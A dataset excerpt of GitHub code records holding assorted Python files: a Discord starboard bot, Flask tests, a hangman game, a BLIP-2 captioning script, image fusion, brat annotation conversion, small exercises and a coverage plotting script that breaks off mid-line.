sheet['F9']\n\n bynm.value = self._from_buyer_entry_get_value()\n\n OpenDate()._add_time_to_cell(sheet)\n\n Customers()._insert_buyer_info_excel(sheet, self._from_buyer_entry_get_value())\n\n HeaderEntry()._header_entry(sheet, self._from_entries_get_value_()[0],\n self._from_entries_get_value_()[1], self._from_entries_get_value_()[2],\n self._from_entries_get_value_()[3], self._from_entries_get_value_()[4],\n self._from_entries_get_value_()[5], self._from_entries_get_value_()[6],\n self._from_entries_get_value_()[7])\n\n SalesAndTerms()._sales_terms_entry_to_cell(sheet, self._from_sales_and_terms_entries_get_value()[0],\n self._from_sales_and_terms_entries_get_value()[1],\n self._from_sales_and_terms_entries_get_value()[2],\n self._from_sales_and_terms_entries_get_value()[3],\n self._from_sales_and_terms_entries_get_value()[4],\n self._from_sales_and_terms_entries_get_value()[5],\n self._from_sales_and_terms_entries_get_value()[6],\n self._from_sales_and_terms_entries_get_value()[7],\n self._from_sales_and_terms_entries_get_value()[8],\n self._from_sales_and_terms_entries_get_value()[9],\n )\n\n Quotations()._quatations_entry_to(sheet, self._from_quatation_entries_get_value()[0],\n self._from_quatation_entries_get_value()[1],\n self._from_quatation_entries_get_value()[2],\n self._from_quatation_entries_get_value()[3],\n self._from_quatation_entries_get_value()[4],\n self._from_quatation_entries_get_value()[5],\n self._from_quatation_entries_get_value()[6],\n self._selected_value(None)\n )\n\n workbook.save(\n str(Path.home() / f\"Downloads/S{OpenDate()._current_time()[2][2:5]}_{self._from_buyer_entry_get_value()}.xlsx\")\n )\n\n\nde = DataEntry()\nde\n","repo_name":"yigitako/Quotation_Entry_Program","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":13035,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"44587682290","text":"import discord\nfrom discord.ext import commands\nimport aiosqlite\n\nclass Starboard(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n\n async def create_starboard_table(self):\n async with aiosqlite.connect('starboard.db') as db:\n await db.execute('''\n CREATE TABLE IF NOT EXISTS starboard (\n message_id INTEGER PRIMARY KEY,\n starboard_message_id INTEGER,\n star_count INTEGER\n )\n ''')\n await db.commit()\n\n @commands.Cog.listener()\n async def on_ready(self):\n print('Starboard cog is ready!')\n await self.create_starboard_table()\n\n @commands.Cog.listener()\n async def on_raw_reaction_add(self, payload):\n if str(payload.emoji) == '⭐' and not payload.member.bot:\n async with aiosqlite.connect('starboard.db') as db:\n cursor = await db.execute('SELECT * FROM starboard WHERE message_id = ?', (payload.message_id,))\n starboard_entry = await cursor.fetchone()\n\n if not starboard_entry:\n channel = self.bot.get_channel(payload.channel_id)\n message = await channel.fetch_message(payload.message_id)\n\n starboard_channel = discord.utils.get(channel.guild.text_channels, name='starboard')\n if not starboard_channel:\n starboard_channel = await channel.guild.create_text_channel('starboard')\n\n starboard_message = await starboard_channel.send(\n f'Stars: {payload.count} {message.jump_url}'\n )\n\n await db.execute(\n 'INSERT INTO starboard (message_id, starboard_message_id, star_count) VALUES (?, ?, ?)',\n (payload.message_id, starboard_message.id, payload.count)\n )\n await db.commit()\n else:\n star_count = starboard_entry[2] + 1\n starboard_channel = discord.utils.get(payload.member.guild.text_channels, name='starboard')\n if starboard_channel:\n starboard_message = await starboard_channel.fetch_message(starboard_entry[1])\n await starboard_message.edit(content=f'Stars: {star_count} {starboard_message.jump_url}')\n\n await db.execute(\n 'UPDATE starboard SET star_count = ? WHERE message_id = ?',\n (star_count, payload.message_id)\n )\n await db.commit()\n\n @commands.Cog.listener()\n async def on_raw_reaction_remove(self, payload):\n if str(payload.emoji) == '⭐':\n async with aiosqlite.connect('starboard.db') as db:\n cursor = await db.execute('SELECT * FROM starboard WHERE message_id = ?', (payload.message_id,))\n starboard_entry = await cursor.fetchone()\n\n if starboard_entry:\n star_count = starboard_entry[2] - 1\n starboard_channel = discord.utils.get(self.bot.fetch_guild(payload.guild_id).text_channels, name='starboard')\n if starboard_channel:\n starboard_message = await starboard_channel.fetch_message(starboard_entry[1])\n await starboard_message.edit(content=f'Stars: {star_count} {starboard_message.jump_url}')\n\n if star_count <= 0:\n await db.execute('DELETE FROM starboard WHERE message_id = ?', (payload.message_id,))\n else:\n await db.execute(\n 'UPDATE starboard SET star_count = ? WHERE message_id = ?',\n (star_count, payload.message_id)\n )\n await db.commit()\n\n @commands.command()\n async def starboard(self, ctx, message_id: int):\n async with aiosqlite.connect('starboard.db') as db:\n cursor = await db.execute('SELECT * FROM starboard WHERE message_id = ?', (message_id,))\n starboard_entry = await cursor.fetchone()\n\n if starboard_entry:\n starboard_channel = discord.utils.get(ctx.guild.text_channels, name='starboard')\n if starboard_channel:\n starboard_message = await starboard_channel.fetch_message(starboard_entry[1])\n await ctx.send(f'This message has {starboard_entry[2]} stars: {starboard_message.jump_url}')\n else:\n await ctx.send('This message has no stars.')\n\ndef setup(bot):\n bot.add_cog(Starboard(bot))\n","repo_name":"Quazar4/starboard-sqlite","sub_path":"starboard.py","file_name":"starboard.py","file_ext":"py","file_size_in_byte":4729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"13427443204","text":"from http import HTTPStatus\nimport flask\nimport pytest\n\nfrom tests import factories\nfrom timeless.restaurants import models\nfrom timeless.restaurants.models import TableShape\nfrom timeless.restaurants.table_shapes.views import order_by, filter_by\n\n\ndef test_order_by_description(db_session):\n db_session.add(TableShape(id=1, description=\"B\", picture=\"pic\"))\n db_session.add(TableShape(id=2, description=\"A\", picture=\"pic\"))\n db_session.commit()\n shapes = TableShape.query.order_by(TableShape.description).all()\n assert shapes[0].id == 2\n assert shapes[1].id == 1\n\n\ndef test_filter_by_description(db_session):\n db_session.add(TableShape(id=1, description=\"B\", picture=\"pic\"))\n db_session.add(TableShape(id=2, description=\"A\", picture=\"pic\"))\n db_session.add(TableShape(id=3, description=\"BB\", picture=\"pic\"))\n db_session.commit()\n shapes = filter_by(TableShape.query, [\"description=B\"]).all()\n assert len(shapes) == 1\n assert shapes[0].id == 1\n\n\ndef test_list(client):\n assert client.get(\"/table_shapes/\").status_code == HTTPStatus.OK\n\n\ndef test_ordered_list(client):\n assert client.get(\n flask.url_for('table_shape.list', order_by=[\"id:asc\", \"description\"])\n ).status_code == HTTPStatus.OK\n\n\ndef test_filtered_list(client, db_session):\n db_session.add(TableShape(id=1, description=\"B\", picture=\"pic\"))\n db_session.add(TableShape(id=2, description=\"A\", picture=\"pic\"))\n db_session.add(TableShape(id=3, description=\"BB\", picture=\"pic\"))\n db_session.commit()\n response = client.get(flask.url_for('table_shape.list', filter_by=[\"description=B\"]))\n assert response.status_code == HTTPStatus.OK\n # @todo #260:30min Lets encapsulate the way test checks for the returned table spaces. Currently all\n # the specifics on how to check the amount of returned table shapes and specific table shape details is exposed\n # directly in client code. There is a need to have a so called Page Object abstraction for the table_shapes.list\n # route that will encapsulate parsing, length and index access in a single entity, having a single place to fix in\n # case UI layout is changed. Please consider following draft client code as a reference:\n # table_shapes = TableShapes(client, filter_by=[\"description=B\"]\n # assert len(table_shapes) == 1\n # assert iter(table_shapes).next().id == 1\n\n html = response.data.decode(\"utf-8\")\n assert html.count(\"
\") == 1\n assert html.count(\n \"Edit\"\n ) == 1\n\n\ndef test_create(client):\n files = {'file': open(\n 'tests/integration/fixtures/test_image.jpg', 'rb')}\n response = client.post(\n flask.url_for(\"table_shape.create\"),\n data={\n \"description\": \"It's new shape\",\n \"files\": files\n }\n )\n assert response.location.endswith(flask.url_for('table_shape.list'))\n table_shape = TableShape.query.first()\n assert table_shape\n assert table_shape.picture\n\n\n# @todo #206:15min After the form.save() issue with picture is solved enable\n# test_edit and test_delete. Both were disabled because picture validation was\n# added but the form for it wasn't updated, so create method doesn't save\n# anything right now.\n@pytest.mark.skip\ndef test_edit(client):\n table_shape = factories.TableShapeFactory(\n description=\"Description 1\",\n picture=\"picture-path-1\"\n )\n response = client.post(\n flask.url_for(\"table_shape.edit\", id=table_shape.id),\n data={\n \"description\": \"Description 2\",\n \"picture\": \"picture-path-2\",\n }, follow_redirects=True)\n\n assert \"Description 2\" in response.data.decode()\n # @todo #285:30m This test should send file to picture input. Implement\n # file uploading and then uncomment the following line. Logic of saving\n # picture is already implemented in TableShapeForm, it's time to test.\n\n # assert \"picture-path-2\" in response.data.decode()\n\n\ndef test_delete(client):\n table_shape = factories.TableShapeFactory()\n response = client.post(\n flask.url_for(\"table_shape.delete\", id=table_shape.id))\n assert response.status_code == HTTPStatus.FOUND\n assert not models.TableShape.query.count()\n","repo_name":"timelesslounge/timelessis","sub_path":"tests/integration/it_table_shapes_test.py","file_name":"it_table_shapes_test.py","file_ext":"py","file_size_in_byte":4289,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"60"} +{"seq_id":"41443863150","text":"import random\r\n\r\n# Palabras para el juego\r\npalabras = [\"perro\", \"gato\", \"elefante\", \"rinoceronte\", \"jirafa\"]\r\n\r\n# Función para elegir una palabra al azar\r\ndef elegir_palabra(lista_palabras):\r\n palabra = random.choice(lista_palabras)\r\n return palabra.upper()\r\n\r\n# Función para jugar\r\ndef jugar(palabra):\r\n # Configuración del juego\r\n letras_adivinadas = []\r\n vidas = 6\r\n adivinado = False\r\n\r\n # Dibujar la estructura del ahorcado\r\n print(\" _ _ _ _ _ \")\r\n print(\"| |\")\r\n print(\"| \")\r\n print(\"| \")\r\n print(\"| \")\r\n print(\"| \")\r\n\r\n # Bucle principal del juego\r\n while not adivinado and vidas > 0:\r\n # Mostrar el estado actual del juego\r\n print(\"\\nTienes\", vidas, \"vidas\")\r\n letra_usuario = input(\"Ingresa una letra: \").upper()\r\n\r\n # Si la letra ya ha sido adivinada\r\n if letra_usuario in letras_adivinadas:\r\n print(\"Ya adivinaste esa letra, intenta otra vez.\")\r\n # Si la letra no está en la palabra\r\n elif letra_usuario not in palabra:\r\n print(letra_usuario, \"no está en la palabra.\")\r\n vidas -= 1\r\n # Si la letra está en la palabra\r\n else:\r\n print(\"¡Excelente! La letra\", letra_usuario, \"está en la palabra.\")\r\n letras_adivinadas.append(letra_usuario)\r\n\r\n # Mostrar la palabra con las letras adivinadas\r\n letras_lista = [letra if letra in letras_adivinadas else \"_\" for letra in palabra]\r\n print(\" \".join(letras_lista))\r\n\r\n # Si se ha adivinado la palabra completa\r\n if \"_\" not in letras_lista:\r\n adivinado = True\r\n\r\n # Mensaje de resultado final\r\n if adivinado:\r\n print(\"\\n¡Felicidades! Has adivinado la palabra.\")\r\n else:\r\n print(\"\\nLo siento, has perdido. La palabra era\", palabra)\r\n\r\n# Función principal\r\ndef main():\r\n palabra = elegir_palabra(palabras)\r\n jugar(palabra)\r\n while input(\"¿Quieres jugar otra vez? (S/N) \").upper() == \"S\":\r\n palabra = elegir_palabra(palabras)\r\n jugar(palabra)\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n\r\n","repo_name":"JuanFernandoparra6174/Programacion_Fundamentos","sub_path":"python/ejercicio5 ..py","file_name":"ejercicio5 ..py","file_ext":"py","file_size_in_byte":2145,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"4133646626","text":"# Author: T_Xu(create), S_Sun(modify)\n\nimport os\nimport argparse\nimport json\nimport time\nimport logging\n\ndef image_to_text(skip_img_file, photo_dir_, write_filename_, cuda_no='cuda:0'):\n from PIL import Image\n from transformers import AutoProcessor, Blip2ForConditionalGeneration\n import torch\n processor = AutoProcessor.from_pretrained(\"Salesforce/blip2-opt-2.7b\")\n model = Blip2ForConditionalGeneration.from_pretrained(\"Salesforce/blip2-opt-2.7b\", torch_dtype=torch.float16)\n device = cuda_no if torch.cuda.is_available() else \"cpu\"\n model.to(device)\n\n prompt = ''\n\n # 将图像转换为文本，封装为一个函数\n def image2text(image_filename):\n try:\n image = Image.open(image_filename).convert('RGB')\n except Image.UnidentifiedImageError:\n logger.error(f'转换失败, UnidentifiedImageError, 图片名称为:{image_filename}')\n return None\n except OSError as e:\n logger.error(f'转换失败, {repr(e)}, 图片名称为:{image_filename}')\n return None\n inputs = processor(image, text=prompt, return_tensors=\"pt\").to(device, torch.float16)\n generated_ids = model.generate(**inputs, max_new_tokens=20)\n generated_text = processor.batch_decode(generated_ids, skip_special_tokens=True)[0].strip()\n return generated_text\n\n \n # 记录信息\n total_num = 0 # 转换的总数\n count = 1\n time_start = time.time()\n\n # 加载已转换记录\n skip_img_set = None\n with open(skip_img_file, 'a+') as f:\n f.seek(0)\n skip_img_set = set(f.read().splitlines())\n f.close()\n\n # 图片字典，key为row_i+gmap_id，value为对应图片集paths\n images_dict = dict()\n # 生成图片字典\n for filename_ in os.listdir(photo_dir_):\n # 文件名（gmap_1_0x7c00456eecad3111-0x8217f9600c51f33_1.png）按'_'分割字符串\n filename_split = filename_.split('_')\n # 组织dict的key\n key = filename_split[1] + '_' + filename_split[2]\n\n # 跳过已转换的图片\n if key in skip_img_set:\n continue\n\n # 组织对应key的value\n if images_dict.get(key) is None:\n images_dict[key] = [filename_]\n else:\n images_dict[key].append(filename_)\n # 更新总数\n total_num = len(images_dict)\n\n # 遍历图片字典，将每个key对应的图片集转为文字集\n for key in images_dict:\n # 文字集\n image_text_list = []\n # 遍历图片集，将每个图片转为文字\n image_filename_list= images_dict[key]\n for image_filename in image_filename_list:\n # 转换\n image_text = image2text(photo_dir_ + image_filename)\n if image_text is not None: # 异常的先不加入，最后处理\n image_text_list.append(image_text)\n \n # 更新转换结果，格式与review_summary.json一致，key为row_i+gmap_id，value为des\n with open(write_filename_, 'a+') as f:\n f.write(json.dumps({key: image_text_list}) + '\\n')\n f.flush()\n f.close()\n # 更新已保存记录\n with open(skip_img_file, 'a+') as f:\n f.write(key + '\\n')\n f.flush()\n f.close()\n \n # 计算完成循环的剩余时间\n time_end = time.time()\n time_left = (time_end - time_start) / (count + 1) * (total_num - count)\n # 转换为时分秒\n time_left = time.strftime(\"%H:%M:%S\", time.gmtime(time_left))\n\n print(count, ' / ', total_num, ', time left: ', time_left, ' : ', image_text_list)\n count += 1\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--region', type=str, default='Alaska', help='the region name of datasets(e.g. California)')\n parser.add_argument('--dataset_path', type=str, default='./datasets', help='the index of the cuda')\n parser.add_argument('--cuda', type=str, default='1', help='the index of the cuda')\n args, _ = parser.parse_known_args()\n\n parent_path = os.path.join(args.dataset_path, args.region)\n\n # 初始化日志\n logfilename = 'transform_img_to_text.log'\n logfilepath = os.path.join(parent_path, logfilename)\n sh = logging.StreamHandler()\n sh.setLevel(logging.INFO)\n fh = logging.FileHandler(logfilepath, 'a', 'utf-8')\n fh.setLevel(logging.INFO)\n logging.basicConfig(\n level=logging.INFO,\n handlers = [sh, fh]\n )\n logger = logging.getLogger()\n\n # 图片转文字表述\n image_to_text(parent_path + '/skip_img_file', # 用于断点续传的跳过文件，每个地区一个\n parent_path + '/meta_imgs/', # 已下载的meta-xxx.json的（每个POI的）图片集\n parent_path + '/image_description.json', # 输出文件\n 'cuda:' + args.cuda) # 使用的GPU","repo_name":"DandelionWow/gld_dataset_processing","sub_path":"blip2_as_transform_image_to_text.py","file_name":"blip2_as_transform_image_to_text.py","file_ext":"py","file_size_in_byte":4874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"74249148032","text":"import cv2\nimport numpy as np\nfrom matplotlib import pyplot as plt\nfrom fuse import fusedImage\nfrom metrics import *\nimport time\nimport math\nfrom tkinter import filedialog\nimport tkinter as tk\nimport os\n\ndef show_images(images, lines = 1, titles = None, blocking = False):\n\t\"\"\"\n\tDisplays a figure of images with titles\n\t\n\timages \t- the images to display\n\tlines \t- the number of lines the figure should have\n\ttitles \t- the titles of each images\n\t\"\"\"\n\t\n\tn_images = len(images)\n\t\n\tfig = plt.figure()\n\t\n\tfor n, (image, title) in enumerate(zip(images, titles)):\n\t\ta = fig.add_subplot(lines, np.ceil(n_images/float(lines)), n + 1)\n\t\tplt.imshow(image)\n\t\tplt.axis('off')\n\t\ta.set_title(title)\n\t\n\tfig.tight_layout()\n\tplt.show(block=blocking)\n\ndef main(rgb_path, ir_path, strategy = \"All\", wavelet='db'):\n\t\"\"\"\n\tMain Fusion procedure, applies the fusion algorithm on the image\n\t\n\trgb_path - the path to the RGB image\n\tir_path\t - the path to the infrared image\n\tstrategy - the fuison strategy to apply to the image\n\twavelet - the wavelet to use\n\t-----------\n\t\n\tReturns a tuple (array, Results, Titles). \n\t\n\tarray \t- The metrics results of the fused image(s) (array)\n\tResults - The fused image(s) (array)\n\tTitles \t- The name of the image(s) for the display (array)\n\t\"\"\"\n\tI1 = cv2.imread(rgb_path, 1)\n\tI2 = cv2.imread(ir_path, 1)\n\t\n\tif (strategy == \"All\"):\n\t\tR_min = fuseSelection(I1, I2, \"Min\", wavelet)\n\t\tR_max = fuseSelection(I1, I2, \"Max\", wavelet)\n\t\tR_mean = fuseSelection(I1, I2, \"Mean\", wavelet)\n\t\tR_entropy = fuseSelection(I1, I2, \"Entropy\", wavelet)\n\t\tR_MACD = fuseSelection(I1, I2, \"MACD\", wavelet)\n\t\tR_Edge = fuseSelection(I1, I2, \"Edge\", wavelet)\n\t\tR_Deviation = fuseSelection(I1, I2, \"Deviation\", wavelet)\n\t\t\n\t\tarray = R_min[0] + [\"------\"] + R_max[0] + [\"------\"] + R_mean[0] + [\"------\"] + R_entropy[0] \\\n\t\t\t\t\t\t + [\"------\"] + R_MACD[0] + [\"------\"] + R_Edge[0] + [\"------\"] + R_Deviation[0]\n\t\t\t\t\t\t \n\t\tResults = R_min[1] + R_max[1] + R_mean[1] + R_entropy[1] \\\n\t\t\t\t + R_MACD[1] + R_Edge[1] + R_Deviation[1]\n\t\t\n\t\t\n\t\tTitles = R_min[2] + R_max[2] + R_mean[2] + R_entropy[2] \\\n\t\t\t\t + R_MACD[2] + R_Edge[2] + R_Deviation[2]\n\t\t\n\t\treturn (array, Results, Titles)\n\telse:\n\t\treturn fuseSelection(I1, I2, strategy, wavelet)\n\t\ndef fuseSelection(I1, I2, strategy, wavelet):\n\t\"\"\"\n\tFuse the images with the fusion strategy given as parameters \n\t\n\tI1 \t\t\t- the first image\n\tI2 \t\t\t- the second image\n\tstrategy\t- the strategy to apply\n\twavelet \t- the wavelet to use\n\t-------------\n\t\n\tReturns a tuple (array, Results, Titles)\n\t\n\tarray \t- The metrics results of the fused image (array)\n\tResults - The fused image (array)\n\tTitles \t- The name of the image for the display (array)\n\t\"\"\"\t\n\tarray = []\n\t\n\ttime_start = time.time()\n\t\n\tfusion_result = fusedImage(I1, I2, strategy, wavelet)\n\tif fusion_result.ndim == 3:\n\t\tresult = cv2.cvtColor(fusion_result, cv2.COLOR_BGR2RGB)\n\t\tgray = cv2.cvtColor(result, cv2.COLOR_RGB2GRAY)\n\t\t\n\telse:\n\t\tgray = fusion_result\n\t\tresult = cv2.cvtColor(gray, cv2.COLOR_GRAY2RGB)\n\t\t\n\ttiming = \"%.2f\" % (time.time() - time_start)\n\t\n\tI1_gray = cv2.cvtColor(I1, cv2.COLOR_RGB2GRAY)\n\tI2_gray = cv2.cvtColor(I2, cv2.COLOR_RGB2GRAY)\n\t\n\tsp_input = spatial_reference(I1_gray, I2_gray)\n\tsp_m = spatial(gray)\n\t\n\n\tEntropy_m = \"%.3f\" % shannon_entropy(result)\n\tIQI_m = \"%.3f\" % IQI(I1, result)\n\tSpatial_m = \"%.3f\" % sp_m.sum()\n\trSFe_m = \"%.3f\" % rSFe(sp_m, sp_input).sum()\n\tSSIM_m = \"%.3f\" % SSIM(I1, result)\n\t\t\n\tarray.append(\"Spatial Frequency of \" + strategy + \" : \" + Spatial_m + \", rsFe : \" + rSFe_m)\n\tarray.append(\"SSIM of \" + strategy + \" : \" + SSIM_m)\n\tarray.append(\"Entropy of \" + strategy + \" : \" + Entropy_m)\n\tarray.append(\"IQI of \" + strategy + \" : \" + IQI_m)\n\tarray.append(\"Time elapsed for \" + strategy + \" : \" + timing+ \"s\")\n\n\tResults = [result]\n\tTitles = [strategy]\n\t\n\treturn (array, Results, Titles)\n\t\n\t\nif __name__ == '__main__':\n\troot = tk.Tk()\n\troot.withdraw()\n\t\n\trgb_path = filedialog.askopenfilename(initialdir=os.getcwd(),title='Choose the RGB Image', filetypes = [(\"Image File (.png, .jpg)\", \"*.jpg *.png\")])\n\t\n\tif not rgb_path:\n\t\tprint(\"No RGB Image selected, ending program...\")\n\t\texit()\n\t\n\t\n\tir_path = filedialog.askopenfilename(initialdir=os.getcwd(),title='Choose the Thermal Image', filetypes = [(\"Image File (.png, .jpg)\", \"*.jpg *.png\")])\n\t\n\tif not ir_path:\n\t\tprint(\"No Thermal Image selected, ending program..\")\n\t\texit()\n\t\t\n\tstrategy = 'All'\n\t\n\t# strategy = input(\"Strategy to use : (All - Min - Max - Mean - Entropy - MACD - Edge - Deviation) : \")\n\t\n\tarray, Results, Titles = main(rgb_path, ir_path, strategy)\n\n\tfor s in array:\n\t\tprint(s)\n\t\n\tshow_images(Results, math.ceil(len(Results) / 3.0), Titles, True)\n","repo_name":"FaresAh/Thermal-Fusion-GUI","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"37257289720","text":"#var is number of days to stay interger\r\ndef hotelcost(x):\r\n price = 1500\r\n y = x * price\r\n return y\r\n\r\n\r\n#var is destination in string\r\ndef plane(x):\r\n jhb = 800\r\n dur = 1400\r\n cpt = 2500\r\n\r\n if x == \"jhb\":\r\n return jhb\r\n elif x == \"dur\":\r\n return dur\r\n elif x == cpt:\r\n return cpt\r\n\r\n\r\n#var is number of days to rent car interger\r\ndef car(x):\r\n price = 240\r\n y = x * price\r\n return y\r\n\r\ndef holidaycost(h,p,c):\r\n h = hotelcost(h)\r\n p = int(plane(p))\r\n c = car(c)\r\n y = h+p+c\r\n return \"Total Price is R{}\".format(y)\r\n\r\nhotel = int(input(\"How many night will you stay at Hotel\"))\r\nplane_flight = input(\"Which city are you flying to (jhb/dur/cpt)\")\r\ncar_rent = int(input(\"How many days do you need a rental car for\"))\r\n\r\nprint(holidaycost(hotel,plane_flight,car_rent))\r\n","repo_name":"Nockternal/Burger","sub_path":"intro to programming/Task 24/holiday.py","file_name":"holiday.py","file_ext":"py","file_size_in_byte":843,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"3162927845","text":"import os\nimport json\nimport sys \n\nclass ConvertJson2Brat():\n def __init__(self) -> None:\n self.sep = \"\\t\"\n\n def _run_convert(self, path, saved_path):\n data = self.load_json(path)\n\n for sample in data:\n self.convert_each_sample(sample, saved_path)\n \n\n def convert_each_sample(self, sample, saved_path):\n orig_id = sample['orig_id']\n tokens = sample['tokens']\n text = \" \".join(tokens)\n entities = sample['entities']\n relations = sample['relations']\n with open(os.path.join(saved_path, orig_id+\".txt\"), \"w\") as f:\n f.write(text)\n\n with open(os.path.join(saved_path, orig_id+\".ann\"), \"w\") as f:\n for idx_entity, entity in enumerate(entities):\n entity_type = entity['type']\n start = entity['start']\n end = entity['end']\n\n entity_text = \" \".join(tokens[start:end])\n len_char = len(entity_text)\n try:\n s_char = self.get_location_char(tokens, start)\n except:\n print(\"ERROR at get_location_char()\")\n print(entity)\n print(\"start\", start)\n print(\"len tokens\", len(tokens))\n # print(\"tokens\", tokens)\n e_char = s_char + len_char\n s_char = str(s_char)\n e_char = str(e_char)\n \n entiry_content = \"T{}\".format(str(idx_entity)) + self.sep + entity_type + \" \" + s_char + \" \" + e_char + self.sep + entity_text +\"\\n\"\n f.write(entiry_content)\n\n for idx_rel, relation in enumerate(relations):\n # print(relation)\n rel_type = relation['type']\n head = relation['head']\n tail = relation['tail']\n\n relation_content = \"R{}\".format(str(idx_rel)) + self.sep + rel_type + \" \" + \"Arg1:T{}\".format(head) + \" \" + \"Arg2:T{}\".format(tail) + \"\\n\"\n f.write(relation_content)\n\n\n def get_location_char(self, tokens, start):\n # print(\"len\", len(tokens))\n # print(tokens)\n count_char = 0\n for i in range(start):\n # print(i)\n token = tokens[i]\n # print(i, token, len(token))\n count_char = count_char + (len(token)+1)\n\n return count_char\n\n\n def load_json(self, path):\n with open(path, \"r\") as file:\n data = json.load(file)\n\n return data\n\n\nif __name__ == \"__main__\":\n json_path = \"test/semeval-2018_test.json\"\n saved_path = \"test/annotation\"\n # saved_path = \"/Users/phamdong/Documents/NII_internship/repo/brat-1.3p1/data/examples/SemEval-2018-task7\"\n if os.path.exists(saved_path) is False:\n os.mkdir(saved_path)\n\n convertor = ConvertJson2Brat()\n convertor._run_convert(json_path, saved_path)","repo_name":"dongpham120899/Mixed_dataset","sub_path":"convert_json2brat.py","file_name":"convert_json2brat.py","file_ext":"py","file_size_in_byte":2909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"31049348066","text":"\"\"\"\r\nGiven two sorted arrays A and B, such that the arrays may have some common elements. Find the sum of the maximum sum path to reach from the beginning of any array to end of any of the two arrays. We can switch from one array to another array only at the common elements.\r\n\r\nInput:\r\nFirst line of input contains number of testcases T. For each testcase, there will be three lines. First line contains M and N denoting the length of the two sorted array A and B respectively. Second line contains elements of array A. Third line contains elements of array B.\r\n\r\nOutput:\r\nFor each test case, the output is the max sum obtained from the two arrays.\r\n\r\nYour Task:\r\nComplete the function max_path_sum() that takes the two arrays A and B along with their sizes M and N as input parameters. It returns the sum of the maximum sum path.\r\n\r\nExpected Time Complexity: O(M + N)\r\nExpected Auxiliary Space: O(1)\r\n\r\nConstraints:\r\n1 <= T <= 100\r\n1 <= M,N <= 105\r\n1 <= A[i], B[i] <= 106\r\n\r\nExample:\r\nSample Input:\r\n2\r\n5 4\r\n2 3 7 10 12\r\n1 5 7 8\r\n3 3\r\n1 2 4\r\n1 2 7\r\n\r\nSample Output:\r\n35\r\n10\r\n\r\nExplanation:\r\nTestcase 1: The path will be 1+5+7+10+12 = 35.\r\nTestcase 2: The path will be 1+2+7=10\r\n\"\"\"\r\ndef maxSumPath(arr1, arr2, m, n):\r\n # code here\r\n # 1 2 3 5 6\r\n # 2 3 3 4\r\n sum1 = 0\r\n sum2 = 0\r\n i = 0\r\n j = 0\r\n mainsum = 0\r\n while i < m and j < n:\r\n\r\n if arr1[i] == arr2[j]:\r\n mainsum += max(sum1, sum2)\r\n # print(\"mainsum incremented \",mainsum)\r\n sum1 = arr1[i]\r\n sum2 = arr2[j]\r\n i += 1\r\n j += 1\r\n elif arr1[i] < arr2[j]:\r\n sum1 += arr1[i]\r\n i += 1\r\n elif arr2[j] < arr1[i]:\r\n sum2 += arr2[j]\r\n j += 1\r\n\r\n for num in arr2[j:]:\r\n sum2 += num\r\n for num in arr1[i:]:\r\n sum1 += num\r\n # print(sum1,sum2)\r\n mainsum += max(sum1, sum2)\r\n\r\n return (mainsum)\r\n\r\nif __name__ == '__main__':\r\n t = int(input())\r\n for i in range(t):\r\n m,n = list(map(int, input().split()))\r\n arr1 = list(map(int, input().split()))\r\n arr2 = list(map(int, input().split()))\r\n print(maxSumPath(arr1, arr2, m, n))","repo_name":"Tuhin-thinks/Python-Codes","sub_path":"Arrays/max_sum_path.py","file_name":"max_sum_path.py","file_ext":"py","file_size_in_byte":2189,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"60"} +{"seq_id":"70368366913","text":"import subprocess as sp\nimport os\nimport math\nimport matplotlib.pyplot as plt\nimport matplotlib.colors as cols\nimport numpy as np\nimport statistics as stats\nimport sys\n\nfrom numpy.core.fromnumeric import mean\n\n# /home/milenatrabert/masters_thesis/mapping_testset/fastq_10\n# /media/milenatrabert/One\\ Touch/rand1000fastqs/1_results/red_files\n# directory as command line argument\n# the arguments are organized like: python mapping.py[0] directory[1]\n\ncode_dir = os.getcwd()\n\ndirectory = sys.argv[1] # [0] would be the name of this file\nos.chdir(directory)\nprint(os.getcwd())\n\n#extract all relevant files\nall_files = os.listdir()\ncoverage_files = [i for i in all_files if '.coverage' in i and '.swp' not in i] # coverage files\n\nprint('nr. coverage files: ', str(len(coverage_files)), '\\t', coverage_files[0], ' etc.') \n\n#summarize arrays of coverages and lengths into lists\ncontig_lengths = [] \ncontig_coverages = []\n#save names in correct order also into a list\ncontig_accessions = []\n\nfor file in coverage_files:\n accession, ending = file.split('.1', 1)\n print(file+' ============================')\n\n cov_file = open(file, 'r')\n\n nr_contigs = len([0 for _ in cov_file]) -1 # exclude header line\n print('number of contigs:', nr_contigs)\n cov_file.seek(0) #reset cursor at beginning of file\n lines = cov_file.readlines()\n #lines = csv.reader(cov_file, delimiter='\\t')\n #print(lines)\n index = 0\n contig_length = np.zeros(nr_contigs)\n contig_coverage = np.zeros(nr_contigs)\n lines = iter(lines) #convert to an iterator to use next()\n for line in lines:\n #print(line)\n if index == 0:\n next(lines) #skip header line\n else:\n line_elements = line.strip().split(\"\\t\")\n contig_length[index-1] = line_elements[2]\n contig_coverage[index-1] = line_elements[6]\n index += 1\n\n median_coverage = int(round(stats.median(contig_coverage)))\n print('empirical coverage:', median_coverage, '\\n')\n contig_lengths.append(contig_length)\n contig_coverages.append(contig_coverage)\n contig_accessions.append(accession)\n cov_file.close()\n\n### PLOT\ncolor_list = []\nif len(coverage_files)<11:\n color_list = [i for i in cols.TABLEAU_COLORS.values()] #list of 10 color values\nelse:\n #color_list = [i for i in cols.CSS4_COLORS.values()] #list of 148 color values\n color_list = ['#326496' for i in range(len(coverage_files))] \n #color_list[-3:-1] = ['#A14A6B' for i in 